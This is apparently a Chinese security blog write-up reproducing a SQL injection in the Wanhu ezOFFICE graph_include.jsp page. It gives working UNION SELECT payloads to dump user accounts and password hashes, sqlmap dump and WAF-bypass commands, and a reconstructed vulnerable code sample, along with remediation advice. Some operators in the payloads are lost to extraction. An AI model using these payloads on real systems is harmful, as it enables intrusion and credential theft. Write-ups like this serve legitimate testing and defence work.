从SQL注入漏洞复现看企业协同办公平台安全防护 1. 项目概述从一次内部渗透测试说起前段时间公司内部组织了一次针对老旧业务系统的渗透测试我负责的资产清单里就包含了几个还在服役的万户ezOFFICE协同办公平台。这玩意儿在很多企事业单位里都挺常见历史包袱重版本迭代慢是安全测试的重点关注对象。在信息收集阶段我习惯性地去翻看那些可能被忽略的静态资源文件和看似无关紧要的JSP页面graph_include.jsp这个文件路径就引起了我的注意。从文件名看它像是一个用于图表展示的包含文件通常这类文件会接收参数来动态生成图表数据。经验告诉我这种“数据查询型”的接口如果过滤不严很容易成为SQL注入的突破口。果不其然经过一番测试成功触发了注入。今天我就把这个“万户 ezOFFICE graph_include.jsp SQL注入漏洞”的完整复现过程、原理分析和实战心得记录下来。无论你是刚入门的安全爱好者想通过一个真实案例理解SQL注入的利用链条还是有一定经验的安服工程师需要快速验证客户资产风险这篇内容都能给你提供一份清晰的“作战地图”。我们将从环境搭建开始一步步手工探测注入点利用漏洞获取数据并深入理解其背后的代码逻辑和防御思路。2. 漏洞环境搭建与目标分析复现漏洞的第一步是搭建一个与目标尽可能相似的环境。对于这种特定版本的历史漏洞直接寻找存在漏洞的ezOFFICE安装包是最稳妥的方式。2.1 靶场环境准备我选择在本地虚拟机中搭建测试环境。首先需要获取存在漏洞的万户ezOFFICE版本。经过搜索和比对漏洞披露时间确认受影响的版本范围较广多个历史版本均存在此问题。我找到了一个较旧的安装包例如 ezOFFICE 7.0 版本。安装过程相对简单在Windows Server 2008 R2或Windows 7的虚拟机中按照安装向导一步步进行即可数据库通常选择内置的MySQL或SQL Server。注意所有漏洞复现活动必须在完全隔离的本地虚拟机或授权测试环境中进行严禁对互联网上的真实系统进行未授权的测试这是法律红线。安装完成后访问http://[靶机IP]:8080端口可能因安装配置而异即可看到ezOFFICE的登录界面。我们需要找到存在漏洞的文件。根据漏洞信息目标文件路径通常为/defaultroot/graph/graph_include.jsp。直接在浏览器中访问这个路径如果返回空白页面、错误信息或者一个看似正常的图表框架都说明这个文件是存在的这是我们攻击的入口。2.2 目标页面功能与参数推测graph_include.jsp顾名思义是一个用于“包含”图表组件的JSP文件。在实际业务中它很可能被其他主页面如报表统计、数据分析页面通过或标签引入并传递参数来指定要展示哪些数据。常见的参数可能包括reportId报表ID、chartType图表类型、dataSource数据源名称等。我们的任务就是找出哪个参数被直接拼接到了数据库查询语句中并且没有经过有效的过滤。在无法直接查看源码的情况下我们可以通过简单的传参测试来观察页面反应。例如尝试访问http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type1观察页面是否发生变化或报错。如果传参type1和type2页面显示内容不同则说明type参数是有效的。这是黑盒测试中定位功能参数的基本方法。3. SQL注入漏洞手工探测与验证手工注入是理解漏洞本质的最佳方式。它能让你清晰地感知到数据从请求到数据库再返回前端的完整链路。3.1 初步探测与注入点识别首先我们尝试经典的探测方式添加单引号引发数据库语法错误。 访问http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type1如果页面返回了数据库错误信息如包含“SQL”、“Syntax”、“MySQL”、“JDBC”等关键词那么这里存在SQL注入的可能性就极高了。在本次复现的ezOFFICE中我传参单引号后页面返回了一个典型的Java SQL异常栈信息直接暴露了数据库类型为MySQL并且部分SQL语句片段也被打印出来这属于错误回显型注入利用起来非常方便。接下来需要判断注入点的类型是数字型还是字符型。这决定了我们后续构造Payload时是否需要处理引号。数字型测试type1 and 11和type1 and 12。如果11时页面正常12时页面异常空白、错误或内容缺失则很可能是数字型注入。字符型测试假设参数可能被写成where type$type。我们测试type1 and 11和type1 and 12。同样观察页面差异。经过测试type1 and 11页面正常type1 and 12页面内容消失或报错初步判断为数字型注入。这意味着参数值在SQL语句中很可能没有被单引号包裹直接拼接在了WHERE条件中例如WHERE chart_type 1。3.2 信息获取联合查询Union Select实战确认注入点且存在回显或错误信息可被利用后就可以使用UNION SELECT来获取数据了。这是手工注入中最核心、最有效的技巧。第一步判断当前查询语句的字段数。使用ORDER BY子句进行猜测。访问http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type1 order by 5--逐渐增加数字5,6,7,8...直到页面报错。假设order by 8时报错而order by 7正常则说明原查询语句返回的列数为7列。第二步寻找数据回显位。确定了列数后我们用UNION SELECT来探测哪些列的内容会显示在页面上。构造Payloadhttp://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type-1 union select 1,2,3,4,5,6,7--这里将type设为-1或一个不存在的值目的是让原查询结果为空从而确保页面显示的是我们union select的结果。如果页面某处显示了数字“2”、“3”等就说明对应的第2列、第3列是回显位。在我的测试中页面图表标题的位置显示了“2”图表的横坐标轴标签位置显示了“3”。非常好我们找到了两个回显点。第三步获取数据库基本信息。现在我们可以把回显位替换成我们想查询的数据库函数。查询当前数据库名和用户http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type-1 union select 1,database(),user(),4,5,6,7--这样database()的结果会显示在标题位置user()的结果会显示在坐标轴标签位置。从结果中我得知当前数据库名为ezoffice用户为rootlocalhost这是一个危险信号说明应用使用了高权限数据库账户。查询MySQL版本http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type-1 union select 1,version(),version_compile_os,4,5,6,7--这能帮助我们了解目标环境为后续可能的提权或利用其他漏洞做准备。4. 深入利用获取数据库结构与敏感数据知道了数据库名下一步就是“翻箱倒柜”查看里面有哪些表特别是存放用户凭证、个人信息的管理表。4.1 枚举数据库表与列在MySQL中information_schema数据库存储了所有元数据是我们最好的帮手。 首先查询ezoffice数据库中有哪些表http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schemadatabase()--group_concat()函数可以将所有结果合并成一个字符串避免多次查询。执行后在回显位我们会看到一长串表名如sys_user,sys_role,oa_document,hr_employee_info等。其中sys_user系统用户表和hr_employee_info员工信息表无疑是高价值目标。接下来查看sys_user表有哪些列http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schemadatabase() and table_namesys_user--常见的列名可能包括user_id,login_name,password,real_name,email,mobile等。果然我看到了ACCOUNT登录名、PASSWORD密码、NAME真实姓名这些字段。4.2 拖取核心数据用户账号与哈希密码现在可以直接从sys_user表中提取数据了http://[靶机IP]:8080/defaultroot/graph/graph_include.jsp?type-1 union select 1,concat(ACCOUNT, :, PASSWORD, :, NAME),3,4,5,6,7 from sys_user limit 0,10--这里使用concat将账号、密码和姓名用冒号连接起来显示。limit 0,10表示取前10条记录防止数据过多导致显示异常。执行后在页面回显位置我得到了类似这样的结果admin:7a57a5a743894a0e:系统管理员 zhangsan:e10adc3949ba59abbe56e057f20f883e:张三 lisi:c33367701511b4f6020ec61ded352059:李四这里有一个非常关键的发现用户admin的密码字段是7a57a5a743894a0e这看起来是一个16位的字符串很像是MD5哈希值的前16位即16位MD5。在旧系统中为了“优化”存储或兼容性有时会只存储MD5的前16位这是一种不安全且不标准的做法。用户zhangsan的密码e10adc3949ba59abbe56e057f20f883e则是标准的32位MD5哈希。这个值非常眼熟它就是123456的MD5值。这说明该用户使用了弱密码。用户lisi的密码c33367701511b4f6020ec61ded352059是654321的MD5值。实操心得密码哈希分析遇到这种16位的哈希首先要怀疑它是截断的MD5。可以尝试用7a57a5a743894a0e去CMD5等在线解密网站查询如果查不到可以尝试将其补全为32位通常后16位是固定的或可推测的但这里不行。更有效的方法是在获取了数据库权限后如果漏洞允许直接查看密码字段的定义和应用的加密代码。另一种思路是利用获取的账号尝试爆破或撞库。admin的密码如果是弱密码其16位MD5的前缀也可能出现在其他泄露的密码库里。5. 漏洞原理分析与代码审计视角手工复现成功我们再来深入看看漏洞的根源。虽然无法直接拿到官方的JSP源码但我们可以基于现象和JSP的常见编程模式还原出大致的漏洞代码逻辑。5.1 漏洞代码还原与问题根因graph_include.jsp文件很可能包含类似以下问题的代码片段% String type request.getParameter(type); // 没有进行任何过滤或预编译 String sql SELECT chart_title, x_data, y_data FROM chart_config WHERE chart_type type AND is_valid 1; Connection conn ...; Statement stmt conn.createStatement(); ResultSet rs stmt.executeQuery(sql); // ... 将 rs 中的数据用于渲染图表 %或者参数被用于更复杂的动态查询组装中。关键问题在于直接字符串拼接用户输入的type参数被直接拼接到SQL查询字符串中。使用Statement而非PreparedStatement代码使用了Statement接口执行SQL该接口不会对参数进行预编译和转义为注入大开方便之门。错误信息回显当SQL语句执行出错时系统将详细的异常信息包含SQL语句片段直接返回给前端。这虽然方便了开发调试但在生产环境中是极大的安全隐患极大地降低了攻击者的利用门槛。5.2 从漏洞看安全开发误区这个漏洞是典型的“历史欠账”反映了早期Web开发中普遍存在的安全问题过度信任客户端输入认为前端传递的参数尤其是看似为数字的ID是安全的。功能优先安全滞后快速实现图表展示功能忽略了参数校验和安全的数据库操作方式。调试信息泄露生产环境未关闭详细的错误报告。6. 自动化工具辅助验证Sqlmap实战手工注入能让我们理解细节但在实战渗透测试或批量验证时使用自动化工具如Sqlmap能极大提升效率。这里演示如何用Sqlmap验证此漏洞。6.1 基本探测与数据获取首先保存含有漏洞参数的请求到一个文件ezoffice.txt内容如下GET /defaultroot/graph/graph_include.jsp?type1 HTTP/1.1 Host: [靶机IP]:8080 User-Agent: Mozilla/5.0... ...然后运行Sqlmapsqlmap -r ezoffice.txt --batch --dbs-r参数指定请求文件--batch自动选择默认选项--dbs枚举数据库。Sqlmap会很快识别出注入点并列出所有数据库其中应该包含ezoffice。接着获取ezoffice数据库的所有表sqlmap -r ezoffice.txt --batch -D ezoffice --tables然后导出sys_user表的数据sqlmap -r ezoffice.txt --batch -D ezoffice -T sys_user --dump--dump命令会尝试导出表里的所有数据。Sqlmap可能会询问是否尝试破解密码哈希可以选择否我们更关注明文或哈希值的获取。6.2 Sqlmap高级参数与绕过技巧在一些有基础防护如简单的WAF的情况下可能需要调整Payload。设置延迟避免请求过快被屏蔽。--delay1每次请求间隔1秒。使用代理方便观察和调试请求。--proxyhttp://127.0.0.1:8080配合Burp Suite。指定注入技术如果时间盲注更稳定可以指定--techniqueT。绕过WAF的tamper脚本如果遇到过滤可以尝试使用--tamperspace2comment,charencode等脚本对Payload进行混淆。注意事项Sqlmap使用伦理仅用于授权测试这是铁律。控制影响使用--dump时尽量避免对生产数据造成修改。可以使用--sql-query执行自定义查询来替代。避免DoS不要使用--threads参数设置过高的并发数以免对目标服务造成拒绝服务攻击。7. 漏洞修复与安全加固建议复现漏洞的最终目的是为了修复和预防。针对此类SQL注入漏洞修复方案是层次化的。7.1 紧急临时处置如果无法立即升级或修改代码可以在WAFWeb应用防火墙或网关层面设置紧急规则拦截对/defaultroot/graph/graph_include.jsp文件的访问或者对type参数进行严格的数字格式校验只允许数字阻断攻击路径。7.2 根本性修复方案使用预编译语句PreparedStatement这是解决SQL注入最根本、最有效的方法。将JSP代码中的Statement全部替换为PreparedStatement并使用参数化查询。String sql SELECT chart_title, x_data, y_data FROM chart_config WHERE chart_type ? AND is_valid 1; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setInt(1, Integer.parseInt(type)); // 确保转换为整数 ResultSet rs pstmt.executeQuery();严格的输入验证与类型转换在获取参数后立即进行验证。对于type这种应为数字的参数使用Integer.parseInt()转换并捕获NumberFormatException异常对于非数字输入直接返回错误。最小权限原则为ezOFFICE应用连接数据库的账户分配最小必要的权限。禁止使用root或sa等数据库管理员账户。通常只赋予其对应业务数据库的SELECT、INSERT、UPDATE、DELETE权限甚至根据业务需要进一步细化。关闭错误回显在生产环境中配置JSP或应用服务器如Tomcat的web.xml使用自定义错误页面避免将数据库异常详情直接返回给用户。这能有效增加攻击者的盲注难度。代码审计与升级对系统中所有JSP、Servlet进行全面的代码安全审计查找类似的拼接查询。同时关注厂商的安全公告及时升级到已修复漏洞的最新版本。8. 防御视角下的思考与拓展从这个简单的graph_include.jsp漏洞我们可以延伸到更广的防御层面。8.1 企业资产中的“影子入口”像graph_include.jsp这类文件通常不是主功能入口容易被开发和安全人员忽略。在企业的安全资产梳理中需要特别关注这些“边缘”页面、组件包含文件、API接口、调试页面等。它们往往因为关注度低而成为安全短板。定期进行全路径扫描和渗透测试是发现这类“影子入口”的有效手段。8.2 漏洞复现的价值超越“利用”我们复现漏洞不仅仅是为了“拿到shell”或“拖到数据”。更深层的价值在于理解攻击链从外部参数输入到后端处理再到数据库交互完整地走通攻击路径能让你对应用架构的薄弱点有直观认识。评估真实风险通过复现你能准确评估该漏洞在特定环境下的危害程度。例如本例中虽然能获取密码哈希但如果是16位弱哈希或可破解的弱密码风险就极高如果密码是强哈希且系统有其他防护风险则相对可控。制定精准的修复方案只有亲手验证了漏洞你提出的修复建议如“在XX文件的XX行使用预编译语句”才最具体、最可行。8.3 从一次注入到全局防护一个SQL注入点被利用攻击者可能以此为跳板进行数据库提权、读取服务器文件LOAD_FILE、写入WebshellINTO OUTFILE等更深层次的攻击。因此防护必须体系化前端输入格式校验、长度限制。后端参数化查询、输入过滤、输出编码。数据库最小权限、网络隔离、日志审计。运维WAF部署、定期漏洞扫描、补丁管理。这个万户ezOFFICE的漏洞案例就像一枚棱镜折射出Web安全中经典且持久的问题。它提醒我们安全是一个持续的过程需要开发、运维、安全团队的共同关注任何细微的疏忽都可能为整个系统打开一扇危险的后门。在平时的工作中养成对每一个用户输入都保持怀疑的习惯是写好安全代码的第一步。